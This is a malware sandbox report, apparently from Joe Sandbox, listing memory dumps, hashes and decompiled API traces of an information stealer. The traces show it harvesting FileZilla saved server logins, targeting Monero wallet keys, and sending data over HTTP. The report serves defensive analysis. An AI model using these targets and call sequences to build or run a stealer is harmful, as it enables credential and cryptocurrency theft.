Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F.+?
API String ID: 0-1845388099
Opcode ID: 127d27253f4af84b10e221d8baa9bb0b5973b016d6662cdbb6d76b1b2a0e535a
Instruction ID: 3c0fb8ca70863e8026148b298e00caf2a619692569a75a084f255617909a178f
Opcode Fuzzy Hash: 127d27253f4af84b10e221d8baa9bb0b5973b016d6662cdbb6d76b1b2a0e535a
Instruction Fuzzy Hash: B34125F3E587049FF3086E29ECC937AF785EB94320F1A453DDA8453784EAB95C058286

Function 010D15D6 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1eed39303ea54d4e7f2a0e483fc1b5a044f71b7d5335accfed52cfbe5ca82c2
Instruction ID: ceac41805c27be8f310418cef043f470d2b91be79a627c51b1f55dbd535dce19
Opcode Fuzzy Hash: c1eed39303ea54d4e7f2a0e483fc1b5a044f71b7d5335accfed52cfbe5ca82c2
Instruction Fuzzy Hash: 1F41A9F3A186044BE30C6A3CDC65736B6D6DFD4310F2A863EEA82D37C4E8794D014286

Function 010C28F2 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8507aed6d8964df2e58356903b5ee615c947d8d6c07e216d1ea83eb880c6c15d
Instruction ID: 971865245b4842a892a0ab1cd46dbdb6b4953ca96796ee4eca5fb93ae99e58e1
Opcode Fuzzy Hash: 8507aed6d8964df2e58356903b5ee615c947d8d6c07e216d1ea83eb880c6c15d
Instruction Fuzzy Hash: BD51BAF7A492049FD3005E7CED8536AB7C9ABE4220F2F4A3CD7C4C7785E63559058682

Function 01241F39 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 53d2aa1d0eb7c0aec7d64848899b613a1f08b093d2d30ce8c885263b9e593c10
Instruction ID: 23298aac7b8068fed4e2f8997139df68200a6b635fd188f6c52ffeaddcdc721b
Opcode Fuzzy Hash: 53d2aa1d0eb7c0aec7d64848899b613a1f08b093d2d30ce8c885263b9e593c10
Instruction Fuzzy Hash: DF4176F355870C9FE304AF69ECC167BF7E8EB94660F05463EE181C3B00EA7558088A82

Function 010A43DD Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2f7277f8778696c264a50a7311c82686abe6874b2e7a073fb0cd92caf6d144b
Instruction ID: 4ddc720a8a9733d56640f8a8f5f26aef1f4c70a006bf59d88c054e7f7dc46d93
Opcode Fuzzy Hash: a2f7277f8778696c264a50a7311c82686abe6874b2e7a073fb0cd92caf6d144b
Instruction Fuzzy Hash: 943107B3F042140BF7449D3ADD483667AD39BC4320F2AC63C9A589BBC8EC3E9C064285

Function 00DF9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00DF0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DF8E0B

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00DE99EC
Part of subcall function 00DE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00DE9A11
Part of subcall function 00DE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00DE9A31
Part of subcall function 00DE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00DE148F,00000000), ref: 00DE9A5A
Part of subcall function 00DE99C0: LocalFree.KERNEL32(00DE148F), ref: 00DE9A90
Part of subcall function 00DE99C0: CloseHandle.KERNEL32(000000FF), ref: 00DE9A9A

Part of subcall function 00DF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DF8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00E00DBA,00E00DB7,00E00DB6,00E00DB3), ref: 00DF0362
RtlAllocateHeap.NTDLL(00000000), ref: 00DF0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00DF0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00DF03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00DF0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00DF0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00DF0562
lstrcat.KERNEL32(?,profile: null), ref: 00DF0571
lstrcat.KERNEL32(?,url: ), ref: 00DF0580
lstrcat.KERNEL32(?,00000000), ref: 00DF0593
lstrcat.KERNEL32(?,00E01678), ref: 00DF05A2
lstrcat.KERNEL32(?,00000000), ref: 00DF05B5
lstrcat.KERNEL32(?,00E0167C), ref: 00DF05C4
lstrcat.KERNEL32(?,login: ), ref: 00DF05D3
lstrcat.KERNEL32(?,00000000), ref: 00DF05E6
lstrcat.KERNEL32(?,00E01688), ref: 00DF05F5
lstrcat.KERNEL32(?,password: ), ref: 00DF0604
lstrcat.KERNEL32(?,00000000), ref: 00DF0617
lstrcat.KERNEL32(?,00E01698), ref: 00DF0626
lstrcat.KERNEL32(?,00E0169C), ref: 00DF0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E00DB2), ref: 00DF068E

Strings

<Pass encoding="base64">, xrefs: 00DF045A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00DF02A4
<Port>, xrefs: 00DF03C6
login: , xrefs: 00DF05CA
profile: null, xrefs: 00DF0568
<User>, xrefs: 00DF0410
url: , xrefs: 00DF0577
browser: FileZilla, xrefs: 00DF0559
<Host>, xrefs: 00DF037C
password: , xrefs: 00DF05FB

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 000719ebe0a1f7e727fd29ce167a5c4c59ab484d715b1d4961d118d3cde1095a
Instruction ID: a1ea7d7980c2e77a3b608c89a0566d4e0f866e64624f2b24f40514d1cf64751e
Opcode Fuzzy Hash: 000719ebe0a1f7e727fd29ce167a5c4c59ab484d715b1d4961d118d3cde1095a
Instruction Fuzzy Hash: B9D11BB1900208ABCB14EBE4DD96EFEB778EF14300F558418F606B7085DE75AA4ACB71

Function 00DE5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
Part of subcall function 00DE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00DE59F8
StrCmpCA.SHLWAPI(?,0197F1D8), ref: 00DE5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0197F1A8,00000000,?,01979E38,00000000,?,00E01A1C), ref: 00DE5E71
lstrlen.KERNEL32(00000000), ref: 00DE5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00DE5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00DE5E9A
lstrlen.KERNEL32(00000000), ref: 00DE5EAF
lstrlen.KERNEL32(00000000), ref: 00DE5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00DE5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00DE5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00DE5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00DE5F4C
InternetCloseHandle.WININET(00000000), ref: 00DE5FB0
InternetCloseHandle.WININET(00000000), ref: 00DE5FBD
HttpOpenRequestA.WININET(00000000,0197F148,?,0197E7B8,00000000,00000000,00400100,00000000), ref: 00DE5BF8

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

InternetCloseHandle.WININET(00000000), ref: 00DE5FC7

Strings

", xrefs: 00DE5E16
------, xrefs: 00DE5C0B
", xrefs: 00DE5CD5
------, xrefs: 00DE5D4C
------, xrefs: 00DE5A96

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 7c8c9e81f869676f7e0567cec837b83b2ff0838cd9dc24321943d97c95a1b2f8
Instruction ID: 91ffffb41133831c9727c34fa49c0c9283318a3b8e000917c6055357f551e171
Opcode Fuzzy Hash: 7c8c9e81f869676f7e0567cec837b83b2ff0838cd9dc24321943d97c95a1b2f8
Instruction Fuzzy Hash: B2121CB192012CAACB15EBA4DC95FEEB378FF14740F5181A9F20A66091DF702A49CF75

Function 00DECEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

Part of subcall function 00DF8B60: GetSystemTime.KERNEL32(00E00E1A,01979D18,00E005AE,?,?,00DE13F9,?,0000001A,00E00E1A,00000000,?,019786B0,?,\Monero\wallet.keys,00E00E17), ref: 00DF8B86

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00DECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00DED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00DED0CE
lstrcat.KERNEL32(?,00000000), ref: 00DED208
lstrcat.KERNEL32(?,00E01478), ref: 00DED217
lstrcat.KERNEL32(?,00000000), ref: 00DED22A
lstrcat.KERNEL32(?,00E0147C), ref: 00DED239
lstrcat.KERNEL32(?,00000000), ref: 00DED24C
lstrcat.KERNEL32(?,00E01480), ref: 00DED25B
lstrcat.KERNEL32(?,00000000), ref: 00DED26E
lstrcat.KERNEL32(?,00E01484), ref: 00DED27D
lstrcat.KERNEL32(?,00000000), ref: 00DED290
lstrcat.KERNEL32(?,00E01488), ref: 00DED29F
lstrcat.KERNEL32(?,00000000), ref: 00DED2B2
lstrcat.KERNEL32(?,00E0148C), ref: 00DED2C1
lstrcat.KERNEL32(?,00000000), ref: 00DED2D4
lstrcat.KERNEL32(?,00E01490), ref: 00DED2E3

Part of subcall function 00DFA820: lstrlen.KERNEL32(00DE4F05,?,?,00DE4F05,00E00DDE), ref: 00DFA82B
Part of subcall function 00DFA820: lstrcpy.KERNEL32(00E00DDE,00000000), ref: 00DFA885

lstrlen.KERNEL32(?), ref: 00DED32A
lstrlen.KERNEL32(?), ref: 00DED339

Part of subcall function 00DFAA70: StrCmpCA.SHLWAPI(01978A20,00DEA7A7,?,00DEA7A7,01978A20), ref: 00DFAA8F

DeleteFileA.KERNEL32(00000000), ref: 00DED3B4

Memory Dump Source

Source File: 00000000.00000002.2203803568.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2203767107.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2203803568.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000011D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205335514.00000000012F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205666867.00000000012FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205787567.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2205806938.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: c26f1de6c67ff72ca5c5f5a8a0a0073822e38c5c879045209ff9e807791361a6
Instruction ID: f2a94d4f619e5b62b5bc4d2cc2ef7357dcc6e0e24b4631efe375152d5845d79e
Opcode Fuzzy Hash: c26f1de6c67ff72ca5c5f5a8a0a0073822e38c5c879045209ff9e807791361a6
Instruction Fuzzy Hash: 52E13FB1910109ABCB24FBA4DD96EFE7378EF14300F118158F60AB7495DE75AA09CB71

Function 00DEC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

